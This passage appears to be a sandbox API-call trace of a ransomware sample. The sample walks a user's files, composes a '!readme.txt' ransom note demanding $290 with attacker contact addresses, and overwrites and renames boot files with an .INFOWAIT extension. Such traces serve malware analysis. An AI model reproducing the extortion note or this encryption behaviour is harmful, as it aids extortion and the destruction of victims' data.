HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0113.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned="" [0113.942] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0113.942] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0113.942] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0113.942] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0113.942] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0113.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0113.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0113.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0113.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0113.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0113.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0113.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0113.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0113.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0113.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0113.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0113.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0113.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0113.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0113.949] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml") returned=".xml" [0113.950] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml") returned=".xml" [0113.950] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned=".dat" [0113.950] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml") returned=".xml" [0113.954] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab") returned=".cab" [0113.954] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi") returned=".msi" [0113.956] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned=".properties" [0113.958] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned=".cab" [0113.958] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi") returned=".msi" [0113.959] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned=".contact" [0113.959] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned=".contact" [0113.959] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned=".contact" [0113.959] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned=".contact" [0113.959] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned=".ini" [0113.959] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned=".contact" [0113.959] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned=".contact" [0113.959] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-3gHp4i8DBQd4Fi.pptx") returned=".pptx" [0113.959] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\32XcKJ-k MnUkqXRq.pptx") returned=".pptx" [0113.959] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7UQS1.docx") returned=".docx" [0113.959] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86iUKOznOtmWr4FTVK.xlsx") returned=".xlsx" [0113.962] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\-l0TaG633wu CFDx3Y-.doc") returned=".doc" [0113.963] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\2L5Mp4CJ.ods") returned=".ods" [0113.963] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\SNwh\\3-Cn.ods") returned=".ods" [0113.963] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\Ukc9zVsmz.xlsx") returned=".xlsx" [0114.070] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x24af900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0114.070] PathAppendW (in: pszPath="C:\\Users\\All Users\\", pMore="!readme.txt" | out: pszPath="C:\\Users\\All Users\\!readme.txt") returned 1 [0114.070] PathFileExistsW (pszPath="C:\\Users\\All Users\\!readme.txt") returned 1 [0114.819] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2520ee8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0114.819] PathAppendW (in: pszPath="C:\\Users\\Default\\", pMore="!readme.txt" | out: pszPath="C:\\Users\\Default\\!readme.txt") returned 1 [0114.819] PathFileExistsW (pszPath="C:\\Users\\Default\\!readme.txt") returned 0 [0114.819] lstrcpyW (in: lpString1=0x279bdf8, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0114.820] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0115.144] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2520ee8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0115.144] PathAppendW (in: pszPath="C:\\Users\\Default User\\", pMore="!readme.txt" | out: pszPath="C:\\Users\\Default User\\!readme.txt") returned 1 [0115.144] PathFileExistsW (pszPath="C:\\Users\\Default User\\!readme.txt") returned 1 [0115.145] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.146] GetLastError () returned 0x20 [0115.146] SetLastError (dwErrCode=0x20) [0115.146] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.146] GetLastError () returned 0x20 [0115.146] SetLastError (dwErrCode=0x20) [0115.146] GetLastError () returned 0x20 [0115.146] SetLastError (dwErrCode=0x20) [0115.146] GetLastError () returned 0x20 [0115.147] SetLastError (dwErrCode=0x20) [0115.147] GetLastError () returned 0x20 [0115.147] SetLastError (dwErrCode=0x20) [0115.147] GetLastError () returned 0x20 [0115.147] SetLastError (dwErrCode=0x20) [0115.147] GetLastError () returned 0x20 [0115.147] SetLastError (dwErrCode=0x20) [0115.147] GetLastError () returned 0x20 [0115.147] SetLastError (dwErrCode=0x20) [0115.147] GetLastError () returned 0x20 [0115.147] SetLastError (dwErrCode=0x20) [0115.147] GetLastError () returned 0x20 [0115.147] SetLastError (dwErrCode=0x20) [0115.147] GetLastError () returned 0x20 [0115.147] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x1940\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x51 [0115.162] lstrlenW (lpString="The process cannot access the file because it is being used by another process.\r\n") returned 81 [0115.162] lstrlenW (lpString="CreateFile") returned 10 [0115.162] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x256fb40 [0115.162] lstrcpyW (in: lpString1=0x256fb40, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.162] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.162] lstrlenW (lpString="23") returned 2 [0115.162] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="32" | out: lpString1="CreateFile failed with error 32") returned="CreateFile failed with error 32" [0115.162] lstrcatW (in: lpString1="CreateFile failed with error 32", lpString2=": " | out: lpString1="CreateFile failed with error 32: ") returned="CreateFile failed with error 32: " [0115.162] lstrcatW (in: lpString1="CreateFile failed with error 32: ", lpString2="The process cannot access the file because it is being used by another process.\r\n" | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0115.163] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0115.163] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0115.163] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0115.163] LocalFree (hMem=0x24b1940) returned 0x0 [0115.163] LocalFree (hMem=0x256fb40) returned 0x0 [0115.163] GetLastError () returned 0x20 [0115.163] SetLastError (dwErrCode=0x20) [0115.163] GetLastError () returned 0x20 [0115.163] SetLastError (dwErrCode=0x20) [0115.163] GetLastError () returned 0x20 [0115.163] SetLastError (dwErrCode=0x20) [0115.163] GetLastError () returned 0x20 [0115.163] SetLastError (dwErrCode=0x20) [0115.163] GetLastError () returned 0x20 [0115.163] SetLastError (dwErrCode=0x20) [0115.163] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.164] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0115.164] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0115.164] CloseHandle (hObject=0xad4) returned 1 [0115.164] lstrcpyW (in: lpString1=0x26ef5c4, lpString2="C:\\Boot\\BCD.LOG1" | out: lpString1="C:\\Boot\\BCD.LOG1") returned="C:\\Boot\\BCD.LOG1" [0115.164] lstrcatW (in: lpString1="C:\\Boot\\BCD.LOG1", lpString2=".INFOWAIT" | out: lpString1="C:\\Boot\\BCD.LOG1.INFOWAIT") returned="C:\\Boot\\BCD.LOG1.INFOWAIT" [0115.164] MoveFileW (lpExistingFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), lpNewFileName="C:\\Boot\\BCD.LOG1.INFOWAIT" (normalized: "c:\\boot\\bcd.log1.infowait")) returned 1 [0115.165] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.165] GetLastError () returned 0x0 [0115.165] SetLastError (dwErrCode=0x0) [0115.165] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.165] GetLastError () returned 0x0 [0115.165] SetLastError (dwErrCode=0x0) [0115.165] GetLastError () returned 0x0 [0115.165] SetLastError (dwErrCode=0x0) [0115.165] GetLastError () returned 0x0 [0115.165] SetLastError (dwErrCode=0x0) [0115.165] GetLastError () returned 0x0 [0115.165] SetLastError (dwErrCode=0x0) [0115.165] GetLastError () returned 0x0 [0115.165] SetLastError (dwErrCode=0x0) [0115.165] GetLastError () returned 0x0 [0115.165] SetLastError (dwErrCode=0x0) [0115.165] GetLastError () returned 0x0 [0115.166] SetLastError (dwErrCode=0x0) [0115.166] GetLastError () returned 0x0 [0115.166] SetLastError (dwErrCode=0x0) [0115.166] GetLastError () returned 0x0 [0115.166] SetLastError (dwErrCode=0x0) [0115.166] GetLastError () returned 0x0 [0115.166] SetLastError (dwErrCode=0x0) [0115.166] GetLastError () returned 0x0 [0115.166] SetLastError (dwErrCode=0x0) [0115.166] GetLastError () returned 0x0 [0115.166] SetLastError (dwErrCode=0x0) [0115.166] GetLastError () returned 0x0 [0115.166] SetLastError (dwErrCode=0x0) [0115.166] GetLastError () returned 0x0 [0115.166] SetLastError (dwErrCode=0x0) [0115.166] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.166] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0115.166] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0115.166] CloseHandle (hObject=0xad4) returned 1 [0115.166] lstrcpyW (in: lpString1=0x26ef5c4, lpString2="C:\\Boot\\BCD.LOG2" | out: lpString1="C:\\Boot\\BCD.LOG2") returned="C:\\Boot\\BCD.LOG2" [0115.166] lstrcatW (in: lpString1="C:\\Boot\\BCD.LOG2", lpString2=".INFOWAIT" | out: lpString1="C:\\Boot\\BCD.LOG2.INFOWAIT") returned="C:\\Boot\\BCD.LOG2.INFOWAIT" [0115.166] MoveFileW (lpExistingFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), lpNewFileName="C:\\Boot\\BCD.LOG2.INFOWAIT" (normalized: "c:\\boot\\bcd.log2.infowait")) returned 1 [0115.167] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0115.167] GetLastError () returned 0x0 [0115.167] SetLastError (dwErrCode=0x0) [0115.167] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.167] GetLastError () returned 0x0 [0115.167] SetLastError (dwErrCode=0x0) [0115.167] GetLastError () returned 0x0 [0115.167] SetLastError (dwErrCode=0x0) [0115.167] GetLastError () returned 0x0 [0115.167] SetLastError (dwErrCode=0x0) [0115.167] GetLastError () returned 0x0 [0115.167] SetLastError (dwErrCode=0x0) [0115.167] GetLastError () returned 0x0 [0115.167] SetLastError (dwErrCode=0x0) [0115.167] GetLastError () returned 0x0 [0115.167] SetLastError (dwErrCode=0x0) [0115.167] GetLastError () returned 0x0 [0115.167] SetLastError (dwErrCode=0x0) [0115.167] GetLastError () returned 0x0 [0115.167] SetLastError (dwErrCode=0x0) [0115.167] GetLastError () returned 0x0 [0115.168] SetLastError (dwErrCode=0x0) [0115.168] GetLastError () returned 0x0 [0115.168] SetLastError (dwErrCode=0x0) [0115.168] GetLastError () returned 0x0 [0115.168] SetLastError (dwErrCode=0x0) [0115.168] GetLastError () returned 0x0 [0115.168] SetLastError (dwErrCode=0x0) [0115.168] GetLastError () returned 0x0 [0115.168] SetLastError (dwErrCode=0x0) [0115.168] GetLastError () returned 0x0 [0115.168] SetLastError (dwErrCode=0x0) [0115.168] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.168] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0115.168] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000 [0115.168] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0115.168] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.168] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x10000, lpOverlapped=0x0) returned 1 [0115.172] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0115.177] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.177] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x10000, lpOverlapped=0x0) returned 1 [0115.178] CloseHandle (hObject=0xad4) returned 1 [0115.179] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Boot\\BOOTSTAT.DAT" | out: lpString1="C:\\Boot\\BOOTSTAT.DAT") returned="C:\\Boot\\BOOTSTAT.DAT" [0115.179] lstrcatW (in: lpString1="C:\\Boot\\BOOTSTAT.DAT", lpString2=".INFOWAIT" | out: lpString1="C:\\Boot\\BOOTSTAT.DAT.INFOWAIT") returned="C:\\Boot\\BOOTSTAT.DAT.INFOWAIT" [0115.179] MoveFileW (lpExistingFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="C:\\Boot\\BOOTSTAT.DAT.INFOWAIT" (normalized: "c:\\boot\\bootstat.dat.infowait")) returned 1 [0115.180] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.181] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.181] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.181] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.182] RaiseException (dwExceptionCode=0xe06d7363, 